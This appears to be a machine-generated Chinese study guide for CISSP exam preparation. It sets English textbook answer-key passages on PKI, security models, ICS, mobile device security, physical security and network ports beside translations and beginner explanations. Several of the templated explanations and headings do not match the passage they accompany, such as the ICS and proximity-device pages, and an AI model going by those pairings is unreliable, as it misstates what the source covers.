同一密钥、速度快、大数据加密常对应 symmetric。

网络题先定位层次,再判断协议、设备或攻击位置。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
加密 加密把内容变成未授权者看不懂的形式。
密码学 密码学用数学方法保护信息,常用于机密性、完整性、认证和不可否认性。
对称加密 对称加密使用同一把密钥加密和解密,速度快但密钥分发难。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
学习单元 165 / PDF P1559

完整性:数据要正确、可信、未被乱改

完整性不只是防黑客篡改,也包括防授权用户误操作。

教材原文段落

Chapter 7: PKI and Cryptographic Applications 1. Bob should encrypt the message using Alice's public key and then transmit the encrypted message to Alice. 2. Alice should decrypt the message using her private key. 3. Bob should generate a message digest from the plaintext message using a hash function. He should then encrypt the message digest using his own private key to create the digital signature. Finally, he should append the digital signature to the message and transmit it to Alice. 4. Alice should decrypt the digital signature in Bob's message using Bob's public key.

She should then create a message digest from the plaintext message using the same hashing algorithm Bob used to create the digital signature. Finally, she should compare the two message digests. If they are identical, Alice has assurance of message integrity. Alice should then make sure Bob's certificate is valid and issued from a trusted CA.

中文直译 / 整理

第七章:PKI 与加密应用 1. Bob 应使用 Alice 的公钥加密消息,然后将加密后的消息发送给 Alice。 2. Alice 应使用她的私钥解密消息。 3. Bob 应使用哈希函数从明文消息生成消息摘要,然后使用自己的私钥加密 该消息摘要以创建数字签名,最后将数字签名附加到消息中并发送给 Alice。 4. Alice 应使用 Bob 的公钥解密 Bob 消息中的数字签名,然后使用与 Bob 创建数字签名时相同的哈希算法从明文消息生成消息摘要,最后比较两 个消息摘要。 如果两者相同,则 Alice 可确认消息的完整性。 Alice 还应确 保 Bob 的证书有效且由受信任的 CA 颁发。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:完整性不只是防黑客篡改,也包括防授权用户误操作。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

加密:加密把内容变成未授权者看不懂的形式。

哈希:哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。

数字签名:数字签名用私钥签署摘要,让别人用公钥验证来源和完整性。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“完整性:数据要正确、可信、未被乱改”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

哈希、数字签名、变更控制、输入校验常对应完整性。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

哈希本身不提供机密性;它主要用于完整性校验。

签名支持完整性、真实性和不可否认性,不等于加密全文。

CA、RA、证书、CRL、OCSP、信任链都是 PKI 高频点。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
加密 加密把内容变成未授权者看不懂的形式。
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
数字签名 数字签名用私钥签署摘要,让别人用公钥验证来源和完整性。
公钥基础设施 PKI PKI 用证书、CA、注册、吊销等机制管理公钥信任。
数字证书 数字证书把身份和公钥绑定起来,由可信 CA 签发。
学习单元 166 / PDF P1560

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

Chapter 8: Principles of Security Models, Design, and Capabilities 1. Security models include state machine (establishes the concept of a perfectly secure system), information flow (controls movement of data), noninterference (actions of subjects at one level do not affect the system state or actions of subjects at other levels), take-grant (control passage of rights to subjects), access control matrix (provides a perspective on access of multiple subjects across multiple objects), Bell–LaPadula (protects confidentiality), Biba (protects integrity), Clark–Wilson (protects integrity), and Brewer and Nash (avoids conflicts of interest). 2.

The primary components of the trusted computing base (TCB) are the hardware and software elements used to enforce the security policy (these elements are called the TCB), the security perimeter distinguishing and separating TCB components from non-TCB components, and the reference monitor that serves as an access control device across the security perimeter. 3. The two primary rules of Bell–LaPadula are the simple rule of no read-up and the star rule of no write-down. The two rules of Biba are the simple rule of no read-down and the star rule of no write-up. 4. An open system is one with published APIs that allows third parties to develop products to interact with it.

A closed system is one that is proprietary with no third-party product support. Open-source is a coding stance that allows others to view the source code of a program. Closedsource is an opposing coding stance that keeps source code confidential. 5. There are at least eight design principles listed in this chapter: objects and subjects, open and closed systems, secure defaults, fail securely, keep it simple, zero trust (trust but verify), privacy by design, and Secure Access Service Edge (SASE). Please compare your descriptions to the text in each section under the heading “Secure Design Principles.”

中文直译 / 整理

第8章:安全模型、设计与能力的原则 1. 安全模型包括状态机(确立了完美安全系统的概念)、信息流(控制数据 的移动)、非干扰(一个层级的主体行为不影响其他层级主体的系统状态或 行为)、取‑授权(控制主体间权利的传递)、访问控制矩阵(提供多个主体 对多个对象访问的视角)、Bell–LaPadula(保护机密性)、Biba(保护完 整性)、Clark–Wilson(保护完整性)以及Brewer和Nash(避免利益冲 突)。 2. 可信计算基(TCB)的主要组件包括用于强制执行安全策略的硬件和软 件元素(这些元素称为TCB)、区分并隔离TCB组件与非TCB组件的安全 边界,以及作为安全边界上访问控制设备的参考监视器。 3. Bell–LaPadula的两条主要规则是“禁止上读”简单规则和“禁止下写”星号 规则。 Biba的两条规则是“禁止下读”简单规则和“禁止上写”星号规则。 4. 开放系统是指具有已发布API的系统,允许第三方开发产品与其交互。 封 闭系统则是专有系统,不支持第三方产品。 开源是一种允许他人查看程序源 代码的编码立场。 闭源则是与之相反的编码立场,将源代码保密。

5. 本章列出了至少八项设计原则:对象和主体、开放和封闭系统、安全默认 值、安全失效、保持简洁、零信任(信任但验证)、设计隐私和安全访问服 务边缘(SASE)。 请将您的描述与“安全设计原则”标题下各节中的文本进 行比较。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

授权:授权是认证之后决定你能访问什么、能做什么。

安全边界:安全边界是不同信任级别或安全要求交接的位置。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

认证成功不等于什么都能做;权限仍要单独授权。

内网/外网、DMZ/内网、不同分类级别之间都是常见边界。

Policy 高层、强制、稳定;Procedure 具体步骤。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
授权 授权是认证之后决定你能访问什么、能做什么。
安全边界 安全边界是不同信任级别或安全要求交接的位置。
政策 政策是高层原则,说明必须遵守什么。
程序 程序是一步一步怎么做。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
入侵检测系统 IDS IDS 负责发现可疑行为并告警,一般不直接阻断。
学习单元 167 / PDF P1561

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

Chapter 9: Security Vulnerabilities, Threats, and Countermeasures 1. An industrial control system (ICS) is a form of computer-management device that controls industrial processes and machines (aka operational technology). There are several forms of ICS, including programmable logic controllers (PLCs), distributed control systems (DCSs), and supervisory control and data acquisition (SCADA). PLC units are effectively single-purpose or focused-purpose digital computers. They are typically deployed for the management and automation of various industrial electromechanical operations.

DCS units are typically found in industrial process plants where the need to gather data and implement control over a large-scale environment from a single location is essential. A SCADA system can operate as a stand-alone device, can be networked together with other SCADA systems, or can be networked with traditional IT systems. A DCS focuses on processes and is state driven, whereas SCADA focuses on data gathering and is event driven. A DCS is used to control processes using a network of sensors, controllers, actuators, and operator terminals and is able to carry out advanced process control techniques.

DCS is more suited to operating on a limited scale, whereas SCADA is suitable for managing systems over large geographic areas. 2. The three pairs of aspects or features used to describe storage are primary versus secondary, volatile versus nonvolatile, and random versus sequential. 3. Some vulnerabilities found in distributed architecture include sensitive data found on desktops/terminals/laptops, lack of security understanding among users, greater risk of physical component theft, compromise of a client leading to the compromise of the whole network, greater risk from malware because of user-installed software and removable media, and data on clients less likely to be included in backups.

4. Examples of server-based technologies include large-scale parallel data systems, SMP, AMP, MPP, grid computing, peer-to-peer computing, ICS, PLC, DCS, SCADA, DCE, IoT, IIoT, microservices, SOA, IaC, SDV, virtualized systems (virtual software, virtual networking, SDN), SDx, SDS, SDDC, VDI, VMI, SDV, containerization, and serverless architecture.

中文直译 / 整理

第9章:安全漏洞、威胁与应对措施 1. 工业控制系统(ICS)是一种用于控制工业流程和机器的计算机管理设备 (又称运营技术)。 ICS有多种形式,包括可编程逻辑控制器(PLC)、分布 式控制系统(DCS)和监督控制与数据采集系统(SCADA)。 PLC单元本质 上是单一用途或专用数字计算机,通常用于管理和自动化各种工业机电操作。 DCS单元通常存在于工业过程工厂中,这些工厂需要从单一位置收集数据并 对大规模环境实施控制。 SCADA系统可以作为独立设备运行,可以与其他 SCADA系统联网,也可以与传统IT系统联网。 DCS侧重于流程,是状态驱动 的; 而SCADA侧重于数据收集,是事件驱动的。 DCS通过传感器、控制器、 执行器和操作员终端的网络来控制流程,并能够执行先进的过程控制技术。 DCS更适合在有限规模上运行,而SCADA则适用于管理大地理区域的系统。 2. 用于描述存储的三对方面或特征是主存储与辅存储、易失性与非易失性、 随机访问与顺序访问。

3. 分布式架构中发现的一些漏洞包括:桌面/终端/笔记本电脑上存在敏感数 据、用户缺乏安全意识、物理组件被盗的风险更高、客户端被攻破导致整个 网络被攻破、由于用户安装的软件和可移动介质,恶意软件风险更大,以及 客户端上的数据更不可能被纳入备份。 4. 基于服务器的技术示例包括大规模并行数据系统、SMP、AMP、MPP、 网格计算、点对点计算、ICS、PLC、DCS、SCADA、DCE、IoT、IIoT、 微服务、SOA、IaC、SDV、虚拟化系统(虚拟软件、虚拟网络、SDN)、 SDx、SDS、SDDC、VDI、VMI、SDV、容器化和无服务器。 架构。

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

强制访问控制 MAC:MAC 由系统根据标签和级别强制决定访问。

日志:日志记录系统和用户活动,用于监控、审计和调查。

恢复点目标 RPO:RPO 是最多能接受丢失多少时间范围的数据。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

ISO 偏标准和管理体系。

政府/军方、机密级别、标签、不可由用户随意改通常是 MAC。

日志要保护完整性、时间同步和访问控制。

RPO 问数据:最多丢到哪个时间点。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 168 / PDF P1562

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

5. There were over 20 potential on-device security features mentioned in this chapter; any seven of the following would be correct: device authentication, full-device encryption, remote wiping, device lockout, screen locks, GPS and location services management, content management, application control, push notification management, thirdparty application store control, storage segmentation, asset tracking, removable storage, managing connection methods, deactivating unused features, rooting/jailbreaking, sideloading, custom firmware, carrier unlocking, firmware OTA updates, credential management, and text messaging security.

Note that MDM/UEM is not an on-device security feature but an external tool used to configure those features. There are four main mobile device deployment models: BYOD, CYOD, COPE, and COMS/COBO. VDI and VMI are alternative means to grant users access to company resources, but they are not mobile device deployment models.

There were over a dozen potential issues that should be addressed on a mobile device deployment policy mentioned in this chapter, and any seven of the following would be correct: data ownership, support ownership, patch and update management, security product management, forensics, privacy, architecture/infrastructure considerations, legal concerns, acceptable use policies, onboard cameras/video, recording microphone, tethering and hotspots, and contactless payment methods. 5.

中文直译 / 整理

本章提到了二十多种潜在的设备端安全功能; 以下任意七项均正确:设 备身份验证、全设备加密、远程擦除、设备锁定、屏幕锁定、GPS和位置 服务管理、内容 管理、应用程序控制、推送通知管理、第三方应用商店控制、存储分段、 资产追踪、可移动存储、连接方式管理、停用未使用的功能、越狱/破解、 侧载、自定义固件、运营商解锁、固件OTA更新、凭据管理以及短信安全。 请注意,MDM/UEM不是设备端安全功能,而是一种用于配置这些功能的 外部工具。 主要有四种移动设备部署模型:BYOD、CYOD、COPE 和 COMS/COBO。 VDI 和 VMI 是授予用户访问公司资源的替代方式,但它 们不属于移动设备部署模型。 本章提到了十余项应在移动设备部署策略中 解决的潜在问题,以下任意七项均正确:数据所有权、支持所有权、补丁 和更新管理、安全产品管理、取证、隐私、架构/基础设施考量、法律问题、 可接受使用政策、内置摄像头/视频、录音麦克风、网络共享和热点、以及 非接触式支付方式。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

加密:加密把内容变成未授权者看不懂的形式。

数据所有者:数据所有者决定数据分类、保护要求和访问规则。

政策:政策是高层原则,说明必须遵守什么。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Owner 定规则,Custodian 执行保护。

Policy 高层、强制、稳定;Procedure 具体步骤。

Step-by-step、SOP 常对应 procedure。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
加密 加密把内容变成未授权者看不懂的形式。
数据所有者 数据所有者决定数据分类、保护要求和访问规则。
政策 政策是高层原则,说明必须遵守什么。
程序 程序是一步一步怎么做。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
数据所有者 数据所有者负责决定数据分类、访问规则和保护要求。
身份 身份是主体在系统中的标识。
学习单元 169 / PDF P1563

第 1563 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Chapter 10: Physical Security Requirements 1. A fence is an excellent perimeter safeguard that can help to deter casual trespassing. Moderately secure installations work when the fence is 6 to 8 feet tall and will typically be cyclone (also known as chain link) fencing with the upper surface twisted or barbed to deter casual climbers. More secure installations usually opt for fence heights over 8 feet and often include multiple strands of barbed or razor wire strung above the chain link fabric to further deter climbers. 2.

Halon is an effective fire suppression compound (it starves a fire of oxygen by disrupting the chemical reaction of combustion), but it degrades into toxic gases at 900 degrees Fahrenheit. Also, it is not environmentally friendly (it is an ozone-depleting substance). The 1989 Montreal Protocol initiated the termination of the manufacturing of ozone-depleting substances, which includes halon. In 1994, the EPA banned the manufacture of halon in the United States and banned importing halon into the country. However, according to the Montreal Protocol, you can obtain halon by contacting a halon recycling facility.

The EPA seeks to exhaust existing stocks of halon to take this substance out of circulation, there are still significant domestic stockpiles of halon. 3. Any time water is used to respond to fire, flame, or smoke, water damage becomes a serious concern, particularly when water is released in areas where electrical equipment is in use. Not only can computers and other electrical gear be damaged or destroyed by water, but many forms of storage media can also become damaged or unusable. Also, firefighters often use axes to break down doors or cut through walls to reach them as quickly as possible when seeking hot spots to extinguish.

This, too, poses the potential for physical damage to or destruction of devices and/or wiring that may also be in the vicinity. 4. A proximity device can be a passive device, a field-powered device, or a transponder. The proximity device is worn or held by the authorized bearer. When it passes near a proximity reader, the reader device is able to determine who the bearer is and whether they have authorized access. The passive proximity device has no active electronics; it is just a small magnet with specific properties (like antitheft devices commonly found in or on retail product packaging).

A passive device reflects or otherwise alters the electromagnetic (EM) field generated by the reader device. This alteration is detected by the reader device, which triggers the alarm,

中文直译 / 整理

第10章:物理安全要求 1. 围栏是一种优秀的周界防护措施,有助于阻止随意侵入。 中等安全级别的 设施通常采用6至8英尺高的围栏,一般为波纹钢(又称链式)围栏,其上部 表面经过扭曲或加装倒刺,以防止随意攀爬。 更高安全级别的设施通常选择 8英尺以上的围栏高度,并经常在链式网面上方加装多道倒刺或刀片铁丝, 以进一步阻止攀爬者。 2. 哈龙是一种有效的灭火剂(它通过破坏燃烧的化学反应来剥夺火源的氧气), 但在900华氏度时会分解成有毒气体。 此外,它对环境不友好(是一种消耗 臭氧层的物质)。 1989年的《蒙特利尔议定书》启动了停止生产消耗臭氧层 物质的进程,哈龙即在其中。 1994年,美国环保署禁止在美国境内生产哈龙, 并禁止将哈龙进口到该国。 然而,根据《蒙特利尔议定书》,您可以通过联 系哈龙回收设施获得哈龙。 美国环保署致力于耗尽现有的哈龙库存,使其退 出流通,但目前仍存在大量国内哈龙库存。 3. 任何时候用水应对火灾、火焰或烟雾,都会引发严重的水损问题,尤其是 在有电气设备运行的区域释放水时。 计算机和其他电气设备不仅可能因水而 受损或毁坏,许多存储介质也可能损坏或无法使用。

此外,消防员在寻找高 温点进行扑灭时,经常使用斧头砸门或切割墙壁以尽快到达现场。 这也可能 导致附近设备和/或线路遭受物理损坏或毁灭。 4. 临近设备可以是无源设备、场供电设备或应答器。 该临近设备由授权持有 人佩戴或手持。 当其靠近临近读取器时,读取器设备能够识别持有人身份及 其是否具有授权访问权限。 无源临近设备不含主动电子元件; 它只是一个具 有特定属性的小磁体(类似于零售商品包装中常见的防盗装置)。 无源设备 通过反射或以其他方式改变读取器设备产生的电磁(EM)场。 这种改变被读 取器设备检测到,从而触发警报,

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

授权:授权是认证之后决定你能访问什么、能做什么。

身份:身份是主体在系统中的标识。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1563 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

认证成功不等于什么都能做;权限仍要单独授权。

身份管理题要区分识别、认证、授权、审计。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
授权 授权是认证之后决定你能访问什么、能做什么。
身份 身份是主体在系统中的标识。
学习单元 170 / PDF P1564

第 1564 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

records a log event, or sends a notification. A field-powered proximity device has electronics that activate when the device enters the EM field that the reader generates. Such devices generate electricity from an EM field to power themselves (such as card readers that only require the access card to be waved within inches of the reader to unlock doors). This is effectively the concept of radio-frequency identification (RFID). A transponder proximity device is self-powered and transmits a signal received by the reader. This can occur consistently or only at the press of a button (like a garage door opener or car alarm key fob).

Such devices may have batteries, capacitors, or even be solar-powered.

中文直译 / 整理

记录日志事件或发送通知。 一种基于场的接近设备具有电子元件,当设备 进入读卡器产生的电磁场时会被激活。 此类设备通过电磁场产生电力以自 供电(例如,仅需将访问卡在读卡器数英寸范围内挥动即可解锁门的读卡 器)。 这实际上就是射频识别(RFID)的概念。 一种应答器接近设备是自 供电的,并向读卡器发送信号。 这种发送可以持续进行,也可以仅在按下 按钮时发生(如车库门开启器或汽车警报遥控钥匙)。 此类设备可能配备 电池、电容器,甚至可以是太阳能供电的。

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1564 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 171 / PDF P1565

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

Chapter 11: Secure Network Architecture and Components 1. Application (7), Presentation (6), Session (5), Transport (4), Network (3), Data Link (2), and Physical (1). 2.

Problems with cabling and their countermeasures include attenuation (use repeaters or don't violate distance recommendations), using the wrong category of cable (check the cable specifications against throughput requirements, and err on the side of caution), crosstalk (use shielded cables, place cables in separate conduits, or use cables of different twists per inch), interference (use cable shielding, use cables with higher twists per inch, or switch to fiber-optic cables), and eavesdropping (maintain physical security over all cable runs or switch to fiber-optic cables). 3.

Some of the frequency spectrum-use technologies are spread spectrum, Frequency Hopping Spread Spectrum (FHSS), Direct Sequence Spread Spectrum (DSSS), and Orthogonal Frequency-Division Multiplexing (OFDM). 4.

Methods used to secure 802.11 wireless networking include updating firmware; changing the default administrator password to something unique and complex; enabling WPA2 or WPA3 encryption; disabling the SSID broadcast; changing the SSID to something unique; changing the wireless MAC address; enabling MAC filtering; considering the use of static IPs or using DHCP with reservations; treating wireless as remote; separating WAPs from the LAN with firewalls; monitoring all wireless client activity with an IDS; deploying a wireless intrusion detection system (WIDS) and a wireless intrusion prevention system (WIPS); considering requiring wireless clients to connect with a VPN to gain LAN access; implementing a captive portal; and tracking/logging all wireless activities and events.

5. The applications and ports listed in this chapter you could have selected include: Telnet, TCP Port 23; File Transfer Protocol (FTP), TCP Ports 20 (Active Data Connection)/Ephemeral (Passive Data Connection) and 21 (Control Connection); Simple Mail Transfer Protocol (SMTP), TCP Port 25; SMTPS STARTTLS, TCP Port 587, SMTPS Implicit, TCP Port 465; Post Office Protocol (POP3), TCP Port 110; POPS, TCP Port 995; Internet Message Access Protocol (IMAP), TCP Port 143; IMAPS, TCP Port 993;

中文直译 / 整理

第11章:安全网络架构与组件 1. 应用层(7)、表示层(6)、会话层(5)、传输层(4)、网络层(3)、数 据链路层(2)和物理层(1)。 2. 电缆相关问题及其应对措施包括:衰减(使用中继器或不违反距离建议)、 使用错误类别的电缆(根据吞吐量要求检查电缆规格,并采取谨慎态度)、 串扰(使用屏蔽电缆、将电缆置于独立管道中或使用每英寸不同扭绞次数的 电缆)、干扰(使用电缆屏蔽、使用每英寸更高扭绞次数的电缆或切换到光 纤电缆)以及窃听(对所有电缆线路保持物理安全或切换到光纤电缆)。 3. 一些频谱使用技术包括扩频、跳频扩频(FHSS)、直接序列扩频( DSSS)和正交频分复用(OFDM)。 4. 用于保护802.11无线网络的方法包括:更新固件; 将默认管理员密码更改 为唯一且复杂的密码; 启用WPA2或WPA3加密; 禁用SSID广播; 将SSID 更改为唯一名称; 更改无线MAC地址; 启用MAC过滤; 考虑使用静态IP或 使用带保留的DHCP; 将无线网络视为远程网络; 使用防火墙将WAP与 LAN分离; 使用IDS监控所有无线客户端活动; 部署无线入侵检测系统( WIDS)和无线入侵防御系统(WIPS);

考虑要求无线客户端通过VPN连 接以访问LAN; 实施强制门户; 并跟踪/记录所有无线活动和事件。 5. 本章中您可能选择的应用程序和端口包括:Telnet,TCP端口23; 文件传输 协议(FTP),TCP端口20(主动数据连接)/临时端口(被动数据连接)和21 (控制连接); 简单邮件传输协议(SMTP),TCP端口25; SMTPS STARTTLS,TCP端口587,SMTPS隐式,TCP端口465; 邮局协议(POP3), TCP端口110; POPS,TCP端口995; 互联网消息访问协议(IMAP),TCP端 口143; IMAPS,TCP端口993;

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

NIST:NIST 提供美国常用安全标准、框架和指南。

程序:程序是一步一步怎么做。

防火墙:防火墙根据规则控制网络流量进出。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Step-by-step、SOP 常对应 procedure。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

检测是 IDS,主动阻断更像 IPS。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
NIST NIST 提供美国常用安全标准、框架和指南。
程序 程序是一步一步怎么做。
防火墙 防火墙根据规则控制网络流量进出。
入侵检测系统 IDS IDS 负责发现可疑行为并告警,一般不直接阻断。
入侵防御系统 IPS IPS 可检测并主动阻断恶意流量。
虚拟专用网络 VPN VPN 在不可信网络上建立加密隧道。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
学习单元 172 / PDF P1566

第 1566 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Dynamic Host Configuration Protocol (DHCP), UDP Ports 67 and 68; Hypertext Transfer Protocol (HTTP), TCP Port 80; HTTPS with Transport Layer Security (TLS), TCP Port 443; Line Print Daemon (LPD), TCP Port 515; Network File System (NFS), TCP Port 2049; Simple Network Management Protocol (SNMP), UDP Port 161 (UDP Port 162 for Trap Messages); and Domain Name System (DNS), TCP/UDP 53.

中文直译 / 整理

